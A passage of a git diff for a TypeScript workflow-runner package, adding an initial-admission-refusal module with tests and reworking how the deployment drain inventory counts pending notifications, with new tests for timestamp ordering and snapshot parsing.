-// Per-suspension deadlines: the reserved suspend-payload key that arms one, the
-// timeout envelope a resumed step branches on, and the bounds each is validated
-// against (docs/do-runner-design.md, "Per-suspension deadlines"). The stored
-// record, its parser, the envelope factory it feeds, and the wake arithmetic
-// stay internal — they are the run object's own Durable-Object plumbing, and a
-// consumer holding them could only misread state the alarm owns.
-// MAX_SUSPENSION_DEADLINES_PER_RUN is the exception among the bounds: no single
-// value is validated against it, and it ships as an operational figure — the
-// per-run cap a host plans and documents against, which is how the README
-// quotes it — not as something to check a deadline with before arming.
 export type {
+  RejectedSuspensionDeadline,
+  SuspensionDeadlineEntry,
   SuspensionTimeoutEnvelope,
   SuspensionTimeoutResumeData,
 } from './suspension-deadline.js';
 export {
+  isArmableSuspensionDeadlineMs,
   isSuspensionTimeoutResumeData,
   MAX_SUSPENSION_DEADLINE_MS,
   MAX_SUSPENSION_DEADLINES_PER_RUN,
@@ -301,6 +338,11 @@ export {
   SUSPENSION_DEADLINE_PAYLOAD_KEY,
   SUSPENSION_DEADLINE_PRINCIPAL_ID,
   SUSPENSION_TIMEOUT_RESUME_KEY,
+  suspensionDeadlinesOf,
 } from './suspension-deadline.js';
 export type { ThreadScope } from './thread-do.js';
 export { ThreadDurableObject, ThreadIdentityError } from './thread-do.js';
+export type {
+  D1RunAddress,
+  RawWorkflowSnapshot,
+} from './workflow-snapshot-row.js';
diff --git a/packages/flowsafe/src/do-runner/initial-admission-refusal.test.ts b/packages/flowsafe/src/do-runner/initial-admission-refusal.test.ts
new file mode 100644
index 00000000..85afcacb
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/initial-admission-refusal.test.ts
@@ -0,0 +1,97 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import {
+  type D1RunExecutionIdentity,
+  ExecutionFenceUnreadableError,
+  RunAdmissionConflictError,
+} from './execution-admission.js';
+import {
+  definitiveInitialAdmissionRefusal,
+  isDefinitiveInitialAdmissionRefusal,
+} from './initial-admission-refusal.js';
+
+const EXECUTION = {
+  tablePrefix: '',
+  workflowId: 'workflow',
+  runId: 'run',
+  startToken: 'generation',
+};
+
+describe('definitive initial admission refusal', () => {
+  it('retains private immutable exact-scope evidence across public diagnostic failures', () => {
+    const source = { ...EXECUTION };
+    const cause = new ExecutionFenceUnreadableError(
+      'initial admission readback is not readable',
+    );
+    const error = definitiveInitialAdmissionRefusal(source, cause);
+    source.startToken = 'changed';
+    expect(error).toMatchObject({
+      status: 503,
+      reason: cause.reason,
+      message: cause.message,
+      cause,
+    });
+    expect(isDefinitiveInitialAdmissionRefusal(error, EXECUTION)).toBe(true);
+    expect(
+      isDefinitiveInitialAdmissionRefusal(
+        new Error('adapter wrapper', { cause: error }),
+        EXECUTION,
+      ),
+    ).toBe(true);
+    expect(JSON.stringify(error)).not.toContain('generation');
+    for (const key of Object.keys(EXECUTION)) {
+      expect(
+        isDefinitiveInitialAdmissionRefusal(error, {
+          ...EXECUTION,
+          [key]: 'different',
+        }),
+      ).toBe(false);
+    }
+  });
+
+  it('rejects forgery, another namespace and generic uncertainty', () => {
+    const conflict = new RunAdmissionConflictError('admission-raced');
+    for (const error of [
+      conflict,
+      new ExecutionFenceUnreadableError('unknown'),
+      { status: 409, reason: conflict.reason, execution: EXECUTION },
+      undefined,
+    ]) {
+      expect(isDefinitiveInitialAdmissionRefusal(error, EXECUTION)).toBe(false);
+    }
+    const error = definitiveInitialAdmissionRefusal(EXECUTION, conflict);
+    expect(
+      isDefinitiveInitialAdmissionRefusal(
+        JSON.parse(JSON.stringify(error)),
+        EXECUTION,
+      ),
+    ).toBe(false);
+    expect(
+      isDefinitiveInitialAdmissionRefusal(error, {
+        ...EXECUTION,
+        tablePrefix: null,
+      } as unknown as D1RunExecutionIdentity),
+    ).toBe(false);
+    expect(
+      isDefinitiveInitialAdmissionRefusal(
+        Object.create(Object.getPrototypeOf(error)),
+        EXECUTION,
+      ),
+    ).toBe(false);
+  });
+
+  it('bounds cause traversal and terminates cycles without evidence', () => {
+    const valid = definitiveInitialAdmissionRefusal(
+      EXECUTION,
+      new RunAdmissionConflictError('run-exists'),
+    );
+    let wrapped: Error = valid;
+    for (let index = 0; index < 8; index += 1)
+      wrapped = new Error('wrapper', { cause: wrapped });
+    expect(isDefinitiveInitialAdmissionRefusal(wrapped, EXECUTION)).toBe(false);
+    const cyclic = new Error('cycle');
+    cyclic.cause = cyclic;
+    expect(isDefinitiveInitialAdmissionRefusal(cyclic, EXECUTION)).toBe(false);
+  });
+});
diff --git a/packages/flowsafe/src/do-runner/initial-admission-refusal.ts b/packages/flowsafe/src/do-runner/initial-admission-refusal.ts
new file mode 100644
index 00000000..5bd89c13
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/initial-admission-refusal.ts
@@ -0,0 +1,60 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { findInCauseChain } from './cause-chain.js';
+import { DoStatusError } from './do-status-error.js';
+import {
+  type D1RunExecutionIdentity,
+  normalizeD1RunExecutionIdentity,
+} from './execution-admission.js';
+
+const refusalEvidence = new WeakMap<object, D1RunExecutionIdentity>();
+
+class DefinitiveInitialAdmissionRefusal extends DoStatusError {
+  readonly status: number;
+  override readonly reason;
+  constructor(cause: DoStatusError) {
+    super(cause.message, { cause });
+    this.status = cause.status;
+    this.reason = cause.reason;
+  }
+}
+
+/** @internal Called only after the owned batch validates an all-zero result. */
+export function definitiveInitialAdmissionRefusal(
+  execution: D1RunExecutionIdentity,
+  cause: DoStatusError,
+): DoStatusError {
+  const captured = normalizeD1RunExecutionIdentity(execution);
+  const refusal = new DefinitiveInitialAdmissionRefusal(cause);
+  refusalEvidence.set(refusal, captured);
+  return refusal;
+}
+
+/** In-process no-insert evidence for this exact scope, never deletion authority. */
+export function isDefinitiveInitialAdmissionRefusal(
+  error: unknown,
+  execution: D1RunExecutionIdentity,
+): boolean {
+  try {
+    const expected = normalizeD1RunExecutionIdentity(execution);
+    return findInCauseChain(
+      error,
+      (link) => {
+        const observed =
+          link !== null && typeof link === 'object'
+            ? refusalEvidence.get(link)
+            : undefined;
+        return (
+          observed !== undefined &&
+          observed.tablePrefix === expected.tablePrefix &&
+          observed.workflowId === expected.workflowId &&
+          observed.runId === expected.runId &&
+          observed.startToken === expected.startToken
+        );
+      },
+      { rootOnly: false },
+    );
+  } catch {
+    return false;
+  }
+}
diff --git a/packages/flowsafe/src/do-runner/inventory.test.ts b/packages/flowsafe/src/do-runner/inventory.test.ts
index fef55342..349df360 100644
--- a/packages/flowsafe/src/do-runner/inventory.test.ts
+++ b/packages/flowsafe/src/do-runner/inventory.test.ts
@@ -9,6 +9,7 @@
 // this surface must not have: an empty category is what an operator reads as
 // permission to migrate.
 
+import type { DurableObjectState } from '@cloudflare/workers-types';
 import { describe, expect, it } from 'vitest';
 import { z } from 'zod';
 
@@ -34,6 +35,8 @@ import { APPROVALS_TABLE } from '../approval-api/types.js';
 import { EXECUTION_FENCE_SUSPEND_KEY } from '../background-tasks/index.js';
 import { createScheduleStorageDomains } from '../schedules/storage.js';
 import { D1SubscriptionStoreFactory } from '../signal-providers/index.js';
+import type { SignalDatabase } from '../signals/d1-shared.js';
+import { D1NotificationsStorage } from '../signals/notifications-d1.js';
 import { createSignalStorageDomains } from '../signals/storage.js';
 import { createD1Storage, RESOURCE_OWNER_TABLE } from './d1-storage.js';
 import { RUN_OWNER_RECOVERY_DELAY_MS } from './durable-object.js';
@@ -159,10 +162,7 @@ interface Fixture {
   inventory: DeploymentInventory;
 }
 
-/**
- * A deployment with every table created by its real owner, and one outstanding
- * item in each work category plus one row in each standing category.
- */
+/** A deployment with tables created by their production storage domains. */
 async function seeded(): Promise<Fixture> {
   const sqlite = openSqlite();
   const binding = sqliteUnitDatabase(sqlite);
@@ -234,14 +234,25 @@ async function seeded(): Promise<Fixture> {
     targetId: 'gated',
     mintRunId: () => 'abc_r2',
   });
-  await reservations.reserve({
+  const settled = await reservations.reserve({
     key: 'key-settled',
     owner: { kind: 'human', id: 'ada' },
     targetKind: 'workflow',
     targetId: 'gated',
     mintRunId: () => 'abc_r3',
   });
-  await reservations.settleRun('abc_r3');
+  const claimed = await reservations.claimReservation(settled.reservation);
+  if (!claimed) throw new Error('terminal inventory claim was lost');
+  const execution = {
+    tablePrefix: '',
+    workflowId: 'gated',
+    runId: 'abc_r3',
+    startToken: 'inventory-terminal-generation',
+    owner: claimed.owner,
+    target: { kind: 'workflow' as const, id: 'gated' },
+  };
+  await reservations.bindPreparedStart(claimed, execution);
+  await reservations.settleExecution(execution);
 
   // --- signal-subscriptions -------------------------------------------------
   await new D1SubscriptionStoreFactory(binding as never, {
@@ -416,12 +427,12 @@ describe('deployment drain inventory', () => {
     expect(INVENTORY_DRAIN_PROOF.proof).toContain(recoveryCadence);
   });
 
-  it('reads each work category with the predicate its production writer settles on', async () => {
-    // #given — one outstanding item per category beside settled siblings that
-    // must NOT be reported: a decided approval, a spent reservation, a
-    // completed background task, a delivered notification, settled fire
-    // history, and a released ownership row.
-    const { inventory } = await seeded();
+  it('reads outstanding work including pending notifications due or not yet due', async () => {
+    const { inventory, sqlite } = await seeded();
+    const summaryAt = new Date(NOW + 7_200_000).toISOString();
+    sqlite
+      .prepare('UPDATE mastra_notifications SET summaryAt = ? WHERE id = ?')
+      .run(summaryAt, 'ntf-later');
 
     // #when / #then — runs: the suspended run, annotated with its owner.
     const runs = await inventory.read('runs');
@@ -458,15 +469,14 @@ describe('deployment drain inventory', () => {
       ),
     ).toEqual([['trg-deferred']]);
 
-    // #then — notifications: only the DUE pending row is drainable work; the
-    // future-dated and the never-due rows are reported as a total instead.
     const notifications = await inventory.read('pending-notifications');
     expect(notifications.entries.map((entry) => entry.key)).toEqual([
       ['thr-1', 'ntf-due'],
+      ['thr-1', 'ntf-later'],
+      ['thr-1', 'ntf-never'],
     ]);
-    // `count` is this category's own rows (the DUE one); `notDue` describes
-    // the pending rows the page deliberately excludes.
-    expect(notifications.count).toBe(1);
+    expect(notifications.entries[1]?.detail.summaryAt).toBe(summaryAt);
+    expect(notifications.count).toBe(3);
     expect(notifications.totals).toEqual({ notDue: 2 });
 
     // #then — background tasks: nonterminal only, and the fence-parked one is
@@ -498,6 +508,178 @@ describe('deployment drain inventory', () => {
     ).toEqual([['key-live']]);
   });
 
+  it.each([
+    {
+      name: 'ordinary year',
+      now: '2026-08-24T12:00:00.000Z',
+      dueOffset: '2026-08-24T15:59:59.999+04:00',
+      futureOffset: '2026-08-24T07:00:00-06:00',
+      equalOffset: '2026-08-24T16:00:00+0400',
+    },
+    {
+      name: 'negative year',
+      now: '-000100-01-01T12:00:00.000Z',
+      dueOffset: '-000100-01-01T15:59:59.999+04:00',
+      futureOffset: '-000100-01-01T07:00:00-06:00',
+      equalOffset: '-000100-01-01T16:00:00+0400',
+    },
+  ])('enumerates pending notifications and counts notDue by Date chronology for $name inventory', async ({
+    now,
+    dueOffset,
+    futureOffset,
+    equalOffset,
+  }) => {
+    const sqlite = openSqlite();
+    const binding = sqliteUnitDatabase(sqlite);
+    const notifications = new D1NotificationsStorage(
+      binding as SignalDatabase,
+      '',
+    );
+    await notifications.init();
+    const instant = new Date(now).getTime();
+    const future = '+010000-01-01T00:00:00.000Z';
+    const due = new Date(instant - 1).toISOString();
+    const rows = [
+      { id: 'a-expanded-future', deliverAt: future, summaryAt: null },
+      { id: 'b-ordinary-due', deliverAt: due, summaryAt: null },
+      { id: 'c-offset-due', deliverAt: dueOffset, summaryAt: null },
+      { id: 'd-offset-future', deliverAt: futureOffset, summaryAt: null },
+      { id: 'e-summary-due', deliverAt: future, summaryAt: dueOffset },
+      { id: 'f-never', deliverAt: null, summaryAt: null },
+      { id: 'g-equal', deliverAt: equalOffset, summaryAt: null },
+      {
+        id: 'h-negative-past',
+        deliverAt: '-000200-01-01T00:00:00.000Z',
+        summaryAt: null,
+      },
+      {
+        id: 'i-delivered',
+        deliverAt: due,
+        summaryAt: null,
+        status: 'delivered',
+      },
+    ];
+    const insert = sqlite.prepare(
+      `INSERT INTO mastra_notifications
+         (id, thread_id, source, kind, priority, status, summary, coalescedCount,
+          createdAt, updatedAt, deliverAt, summaryAt, deliveryAttempts)
+       VALUES (?, 'thread', 'source', 'kind', 'medium', ?, 'summary', 1, ?, ?, ?, ?, 0)`,
+    );
+    for (const row of rows) {
+      for (const cursor of [row.deliverAt, row.summaryAt]) {
+        if (cursor !== null)
+          expect(Number.isFinite(new Date(cursor).getTime())).toBe(true);
+      }
+      insert.run(
+        row.id,
+        row.status ?? 'pending',
+        now,
+        now,
+        row.deliverAt,
+        row.summaryAt,
+      );
+    }
+    const expected = rows
+      .filter(
+        (row) =>
+          row.status !== 'delivered' &&
+          [row.deliverAt, row.summaryAt].some(
+            (cursor) =>
+              cursor !== null && new Date(cursor).getTime() <= instant,
+          ),
+      )
+      .map((row) => row.id)
+      .sort();
+    const inventory = new DeploymentInventory(binding as InventoryDatabase, {
+      now: () => instant,
+    });
+    const first = await inventory.read('pending-notifications', { limit: 1 });
+    expect(first.entries.map((entry) => entry.key[1])).toEqual([
+      'a-expanded-future',
+    ]);
+    expect(first.count).toBe(8);
+    expect(first.totals).toEqual({ notDue: 3 });
+    expect(await drain(inventory, 'pending-notifications', 1)).toEqual(
+      [
+        'a-expanded-future',
+        'b-ordinary-due',
+        'c-offset-due',
+        'd-offset-future',
+        'e-summary-due',
+        'f-never',
+        'g-equal',
+        'h-negative-past',
+      ].map((id) => JSON.stringify(['thread', id])),
+    );
+    const dueNotifications = await notifications.listDueNotifications({
+      now: new Date(instant),
+      limit: rows.length,
+    });
+    expect(dueNotifications.map((row) => row.id).sort()).toEqual(expected);
+  });
+
+  it('enumerates a pending notification that is not yet due beside the due ones', async () => {
+    const { inventory } = await seeded();
+    const first = await inventory.read('pending-notifications', { limit: 1 });
+    expect(first.entries.map((entry) => entry.key)).toEqual([
+      ['thr-1', 'ntf-due'],
+    ]);
+    expect(first.count).toBe(3);
+    expect(first.totals).toEqual({ notDue: 2 });
+    expect(first.cursor).toBeDefined();
+    const second = await inventory.read('pending-notifications', {
+      cursor: first.cursor,
+      limit: 1,
+    });
+    expect(second.entries).toEqual([
+      {
+        key: ['thr-1', 'ntf-later'],
+        detail: expect.objectContaining({
+          deliverAt: new Date(NOW + 3_600_000).toISOString(),
+        }),
+      },
+    ]);
+    expect(second.count).toBeUndefined();
+    expect(second.totals).toBeUndefined();
+  });
+
+  it('enumerates a pending notification carrying neither deliverAt nor summaryAt and counts it as notDue', async () => {
+    const { inventory, sqlite } = await seeded();
+    sqlite.exec("DELETE FROM mastra_notifications WHERE id <> 'ntf-never'");
+    const page = await inventory.read('pending-notifications');
+    expect(page.entries).toEqual([
+      {
+        key: ['thr-1', 'ntf-never'],
+        detail: {
+          source: 'src',
+          kind: 'kind',
+          priority: 'medium',
+          agentId: 'agent',
+        },
+      },
+    ]);
+    expect(page.count).toBe(1);
+    expect(page.totals).toEqual({ notDue: 1 });
+    expect(page.cursor).toBeUndefined();
+  });
+
+  it('keeps a sweep non-empty while only a not-yet-due notification is pending', async () => {
+    const { inventory, sqlite } = await seeded();
+    sqlite.exec("DELETE FROM mastra_notifications WHERE id <> 'ntf-later'");
+    const pages = await inventory.sweep();
+    const notifications = pages.find(
+      (page) => page.category === 'pending-notifications',
+    );
+    expect(notifications).toMatchObject({
+      class: 'work',
+      entries: [{ key: ['thr-1', 'ntf-later'] }],
+      count: 1,
+      totals: { notDue: 1 },
+    });
+    expect(notifications?.entries).toHaveLength(1);
+    expect(notifications?.cursor).toBeUndefined();
+  });
+
   it('reports standing configuration without asking a drain to empty it', async () => {
     // #given
     const { inventory } = await seeded();
@@ -571,7 +753,7 @@ describe('deployment drain inventory', () => {
     // means on the same deployment.
     const { sqlite, inventory } = await seeded();
     const iso = new Date(NOW).toISOString();
-    const snapshot = (cleanup: string | null): string =>
+    const snapshot = (cleanup: number | null): string =>
       JSON.stringify({
         status: 'timed_out',
         requestContext: {
@@ -594,7 +776,7 @@ describe('deployment drain inventory', () => {
            (workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt)
          VALUES (?, ?, NULL, ?, ?, ?)`,
       )
-      .run('gated', 'abc_cleaned', snapshot(iso), iso, iso);
+      .run('gated', 'abc_cleaned', snapshot(NOW), iso, iso);
 
     // #when
     const runs = await inventory.read('runs');
@@ -606,6 +788,69 @@ describe('deployment drain inventory', () => {
     ]);
   });
 
+  it.each([
+    ['status', '{"status":"success","status":"running"}'],
+    ['escaped status', '{"status":"success","sta\\u0074us":"running"}'],
+    [
+      'requestContext',
+      '{"status":"cancelled","requestContext":{"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1}}},"requestContext":{}}',
+    ],
+    [
+      'flowsafe.runLifecycle',
+      '{"status":"cancelled","requestContext":{"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1}},"flowsafe.runLifecycle":{}}}',
+    ],
+    [
+      'terminal',
+      '{"status":"cancelled","requestContext":{"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1},"terminal":{}}}}',
+    ],
+    [
+      'cleanupCompletedAt',
+      '{"status":"cancelled","requestContext":{"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1,"cleanupCompletedAt":null}}}}',
+    ],
+  ])('counts a duplicate eligibility path %s as live work', async (_path, snapshot) => {
+    const { sqlite, inventory } = await seeded();
+    const update = sqlite.prepare(
+      'UPDATE mastra_workflow_snapshot SET snapshot=? WHERE workflow_name=? AND run_id=?',
+    );
+    update.run(snapshot, 'gated', 'abc_r1');
+    const runs = await inventory.read('runs');
+    expect(runs.entries.map((entry) => entry.key[1])).toEqual(['abc_r1']);
+    update.run('{"status":"success"}', 'gated', 'abc_r1');
+    expect((await inventory.read('runs')).entries).toEqual([]);
+  });
+
+  it.each([
+    ['null', false],
+    ['false', false],
+    ['true', false],
+    ['"done"', false],
+    ['{}', false],
+    ['[]', false],
+    ['-1', false],
+    ['0.5', false],
+    ['9007199254740992', false],
+    ['1e309', false],
+    ['-1e309', false],
+    ['0', true],
+    ['1.0', true],
+    ['1e0', true],
+    ['9007199254740991', true],
+  ] as const)('classifies cleanup timestamp %s in the public run inventory', async (marker, complete) => {
+    const { sqlite, inventory } = await seeded();
+    sqlite
+      .prepare(
+        'UPDATE mastra_workflow_snapshot SET snapshot=? WHERE workflow_name=? AND run_id=?',
+      )
+      .run(
+        `{"status":"timed_out","requestContext":{"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":${marker}}}}}`,
+        'gated',
+        'abc_r1',
+      );
+    expect(
+      (await inventory.read('runs')).entries.map((entry) => entry.key[1]),
+    ).toEqual(complete ? [] : ['abc_r1']);
+  });
+
   it('reads a table that was never created as an EMPTY category, not a fault', async () => {
     // #given — a database with nothing in it at all: the state of a deployment
     // provisioned and never used. Every table here is created lazily by the
@@ -883,6 +1128,7 @@ describe('deployment drain inventory', () => {
     const sqlite = openSqlite();
     const binding = sqliteUnitDatabase(sqlite);
     const storage = createD1Storage({ binding: binding as never });
+    await storage.init();
     await createResourceOwnershipSchema(binding as never);
     sqlite.exec(
       `CREATE TABLE flowsafe_deployment (
@@ -908,6 +1154,14 @@ describe('deployment drain inventory', () => {
     const held = new Promise<void>((resolve) => {
       releaseStep = resolve;
     });
+    let announcePreparing: () => void = () => undefined;
+    const preparing = new Promise<void>((resolve) => {
+      announcePreparing = resolve;
+    });
+    let releasePreparation: () => void = () => undefined;
+    const prepared = new Promise<void>((resolve) => {
+      releasePreparation = resolve;
+    });
 
     const fence = new ExecutionFenceStore(binding as never);
     await fence.seed('open');
@@ -915,7 +1169,17 @@ describe('deployment drain inventory', () => {
     const buildRuntime = (): RunnerRuntime => {
       const { createWorkflow, createStep, runtime } = init(
         { storage },
-        { executionFence: fence, startIdempotency: reservations },
+        {
+          executionFence: fence,
+          startIdempotency: reservations,
+          requestContextForRun: async (_workflowId, _runId, leg) => {
+            if (leg.kind === 'start') {
+              announcePreparing();
+              await prepared;
+            }
+            return {};
+          },
+        },
       );
       const gate = createStep({
         id: 'gate',
@@ -958,13 +1222,38 @@ describe('deployment drain inventory', () => {
       }
     }
     const secret = 'inventory-ownership-pin-secret-00001';
-    const runner = new OwnerRunner(undefined, {
+    const runId = 'abc_inflight';
+    const values = new Map<string, unknown>();
+    let alarm: number | null = null;
+    const state = {
+      id: { name: `gated:${runId}` },
+      storage: {
+        async get<T>(key: string): Promise<T | undefined> {
+          return values.get(key) as T | undefined;
+        },
+        async put(key: string, value: unknown) {
+          values.set(key, structuredClone(value));
+        },
+        async delete(key: string) {
+          return values.delete(key);
+        },
+        async getAlarm() {
+          return alarm;
+        },
+        async setAlarm(at: number | Date) {
+          alarm = at instanceof Date ? at.getTime() : at;
+        },
+        async deleteAlarm() {
+          alarm = null;
+        },
+      },
+    } as unknown as DurableObjectState;
+    const runner = new OwnerRunner(state, {
       owners: new D1ResourceOwnershipStore(binding as never),
       DEPLOYMENT_TENANT: 'acme',
       DEPLOYMENT_IDENTITY_SECRET: secret,
       DB: binding,
     });
-    const runId = 'abc_inflight';
     const post = (path: string, body: unknown): Request =>
       new Request(`http://do${path}`, {
         method: 'POST',
@@ -983,39 +1272,66 @@ describe('deployment drain inventory', () => {
       now: () => NOW,
     });
 
-    // #when — the start is IN FLIGHT: ownership reserved, step executing, and
-    // nothing persisted yet.
+    // #when — ownership is reserved before any snapshot; the held step then
+    // exposes the overlap between the running row and that reservation.
     const start = runner.fetch(
       post('/runs', { workflowId: 'gated', runId, inputData: {} }),
     );
-    await started;
-
-    // #then — the reservation is UNSETTLED while the start is in flight. This
-    // is the assertion the invariant lives in: it fails if settlement moves
-    // ahead of the persisted summary.
-    const inFlight = await inventory.read('resource-owners');
-    expect(inFlight.entries).toEqual([
-      {
-        key: ['run', runId],
-        detail: { owner_kind: 'human', owner_id: 'ada' },
-      },
-    ]);
-    expect(inFlight.count).toBe(1);
-
-    // #then — and the executing run is not hidden from `runs` either: the
-    // engine's own `running` snapshot is already there. Recorded because the
-    // two categories overlap DURING execution and diverge only at settlement,
-    // which is what the next step asserts.
-    expect(
-      (await inventory.read('runs')).entries.map((entry) => [
-        entry.key[1],
-        entry.detail.status,
-      ]),
-    ).toEqual([[runId, 'running']]);
-
-    // #when — the step reaches its first suspend, so a summary persists and the
-    // reservation settles.
-    releaseStep();
+    try {
+      await Promise.race([
+        preparing,
+        start.then(async (response) => {
+          throw new Error(
+            `start returned before preparation: ${JSON.stringify(await response.clone().json())}`,
+          );
+        }),
+      ]);
+      expect((await inventory.read('runs')).entries).toEqual([]);
+      expect((await inventory.read('resource-owners')).entries).toEqual([
+        {
+          key: ['run', runId],
+          detail: { owner_kind: 'human', owner_id: 'ada' },
+        },
+      ]);
+      releasePreparation();
+      await Promise.race([
+        started,
+        start.then(async (response) => {
+          throw new Error(
+            `start returned before its held step: ${JSON.stringify(await response.clone().json())}`,
+          );
+        }),
+      ]);
+
+      // #then — the reservation is UNSETTLED while the start is in flight. This
+      // is the assertion the invariant lives in: it fails if settlement moves
+      // ahead of the persisted summary.
+      const inFlight = await inventory.read('resource-owners');
+      expect(inFlight.entries).toEqual([
+        {
+          key: ['run', runId],
+          detail: { owner_kind: 'human', owner_id: 'ada' },
+        },
+      ]);
+      expect(inFlight.count).toBe(1);
+
+      // #then — and the executing run is not hidden from `runs` either: the
+      // engine's own `running` snapshot is already there. Recorded because the
+      // two categories overlap DURING execution and diverge only at settlement,
+      // which is what the next step asserts.
+      expect(
+        (await inventory.read('runs')).entries.map((entry) => [
+          entry.key[1],
+          entry.detail.status,
+        ]),
+      ).toEqual([[runId, 'running']]);
+
+      // #when — the step reaches its first suspend, so a summary persists and the
+      // reservation settles.
+    } finally {
+      releasePreparation();
+      releaseStep();
+    }
     const summary = (await (await start).json()) as { status: string };
     expect(summary.status).toBe('suspended');
 
diff --git a/packages/flowsafe/src/do-runner/inventory.ts b/packages/flowsafe/src/do-runner/inventory.ts
index 432b7a7a..14ef2a8c 100644
--- a/packages/flowsafe/src/do-runner/inventory.ts
+++ b/packages/flowsafe/src/do-runner/inventory.ts
@@ -4,11 +4,9 @@
 //
 // WHY it exists. The fence (execution-fence.ts) can stop a deployment minting
 // work, but stopping is not finishing. A migration only becomes safe at the
-// moment nobody can point at a run, an approval, a queued task, or a due
-// dispatch that this deployment still owes. Before this module the only way to
-// answer that was to name the tables you happened to remember and count them by
-// hand — an answer whose failure mode is silence: a table nobody thought of
-// holds a suspended run, the migration proceeds, and two deployments resume it.
+// moment nobody can point at a run, an approval, a queued task, or a pending
+// dispatch that this deployment still owes. A pending notification remains
+// work even when its dispatch time has not arrived.
 //
 // THE TAXONOMY IS THE CONTRACT, and completeness is the product. What is sold
 // here is not a set of queries; it is the claim that these queries are ALL of
@@ -24,7 +22,7 @@
 //
 // TWO CLASSES, because a drain proof defined over everything can never pass.
 // `work` is what must reach empty: runs, approvals awaiting a decision, queued
-// tasks, due dispatches, unsettled reservations. `standing` is configuration
+// tasks, pending dispatches, unsettled reservations. `standing` is configuration
 // that ARMS future work — schedules, provider subscriptions — and by design it
 // never empties; a deployment with three cron schedules is drainable, and
 // demanding otherwise would make the proof unreachable rather than strict.
@@ -45,13 +43,11 @@
 // `listTriggers`. None of them is usable here, and not for style reasons: each
 // either initializes schema on the way in, or advances a cursor, or reaches a
 // Durable Object that would wake and re-arm an alarm. An inventory built on
-// them would perturb the very deployment it is measuring. So the queries below
-// are new and pure, and each one's predicate is derived from the production
-// reader or purge that owns the same notion — the terminal-run SQL is literally
-// the retention purge's fragment, the due-notification predicate is
-// `listDueNotifications`'s, the deferred-dispatch predicate is the schedule
-// store's own dispatch guard — so "finished" cannot come to mean one thing to
-// the code that acts and another to the code that certifies.
+// them would perturb the deployment it is measuring. The inventory uses the
+// retention purge's terminal-run fragment and the schedule store's deferred
+// dispatch guard. Pending notifications remain work even when the production
+// due scan does not select them; its predicate determines `notDue` within the
+// pending category.
 
 import {
   DEPLOYMENT_SENTINEL_TABLE,
@@ -70,7 +66,10 @@ import {
   EXECUTION_FENCE_SUSPEND_KEY,
   type ExecutionFenceState,
 } from './execution-fence.js';
-import { DUE_NOTIFICATION_SQL } from './notification-predicate.js';
+import {
+  DUE_NOTIFICATION_SQL,
+  notificationTimestampMillis,
+} from './notification-predicate.js';
 import {
   START_IDEMPOTENCY_TABLE,
   START_RESERVATION_STATES,
@@ -182,7 +181,8 @@ export interface InventoryPage {
    * Category-specific totals taken with `count`, in the same read: the numbers
    * that answer an operator's next question without a second sweep. See
    * `background-tasks` (`fenceSuspended`) and `pending-notifications`
-   * (`notDue`).
+   * (`notDue`, the enumerated pending rows not yet due, including rows with
+   * neither delivery timestamp).
    */
   readonly totals?: Readonly<Record<string, number>>;
 }
@@ -497,8 +497,7 @@ export const INVENTORY_CATEGORY_DESCRIPTORS: readonly InventoryCategoryDescripto
       category: 'pending-notifications',
       class: 'work',
       table: NOTIFICATIONS_TABLE,
-      holds:
-        'an agent-inbox notification that is pending and already due for dispatch',
+      holds: 'a pending agent-inbox notification, due or not yet due',
     },
     {
       category: 'background-tasks',
@@ -583,34 +582,12 @@ interface CategoryQuery {
   readonly binds: readonly unknown[];
   /**
    * Extra `SUM(...) AS alias` aggregates taken with the count on the first
-   * page. Their predicate is the category's own, so a total here is always a
-   * partition of `count` unless its doc says otherwise.
+   * page over the category's predicate. `notDue` counts enumerated pending
+   * notifications that the dispatch due scan does not select.
    */
   readonly totals?: readonly string[];
   /** Bindings the `totals` expressions need, in order. */
   readonly totalsBinds?: readonly unknown[];
-  /**
-   * A WIDER predicate for the aggregate pass, when a category's totals must
-   * describe rows the page deliberately excludes — `pending-notifications`
-   * pages only what is DUE, but "how many are pending and not due yet" is the
-   * question an operator asks next and no amount of paging answers it.
-   *
-   * Widening the aggregate does NOT widen `count`: a category that sets this
-   * must also set `countExpression`, so `count` still means "rows in this
-   * category" everywhere. A count that meant one thing for eight categories
-   * and something larger for the ninth is a number an operator would read
-   * wrong exactly once.
-   */
-  readonly countWhere?: string;
-  /**
-   * How `count` is computed when `countWhere` is wider than `where` — a
-   * conditional SUM that re-applies the category's own predicate.
-   */
-  readonly countExpression?: string;
-  /** Bindings for `countExpression`, in order. */
-  readonly countExpressionBinds?: readonly unknown[];
-  /** Bindings for `countWhere`, when it differs. */
-  readonly countBinds?: readonly unknown[];
   /**
    * A second, strictly optional read that decorates the page. Used for the run
    * owner annotation, whose table is a different feature's and may not exist —
@@ -982,21 +959,13 @@ export class DeploymentInventory {
     query: CategoryQuery,
   ): Promise<Pick<InventoryPage, 'count' | 'totals'> | undefined> {
     const extra = query.totals ?? [];
-    // `count` is always "rows in this category", even when the aggregate scans
-    // wider: a category that widens `countWhere` re-applies its own predicate
-    // through `countExpression`.
-    const total = query.countExpression ?? 'COUNT(*)';
     const { results } = await this.#db
       .prepare(
-        `SELECT ${total} AS total${extra.length === 0 ? '' : `, ${extra.join(', ')}`}
+        `SELECT COUNT(*) AS total${extra.length === 0 ? '' : `, ${extra.join(', ')}`}
          FROM ${table}
-         WHERE ${query.countWhere ?? query.where}`,
-      )
-      .bind(
-        ...(query.countExpressionBinds ?? []),
-        ...(query.totalsBinds ?? []),
-        ...(query.countBinds ?? query.binds),
+         WHERE ${query.where}`,
       )
+      .bind(...(query.totalsBinds ?? []), ...query.binds)
       .all<RawRow>();
     const row = results[0];
     if (row === undefined) return undefined;
@@ -1059,26 +1028,23 @@ export class DeploymentInventory {
           binds: [],
         };
       case 'pending-notifications': {
-        const now = new Date(this.#now()).toISOString();
-        // listDueNotifications' predicate, verbatim in meaning: pending AND
-        // (deliverAt or summaryAt has come due). A pending row that is not yet
-        // due is NOT work a drain can finish — no dispatch pass will select
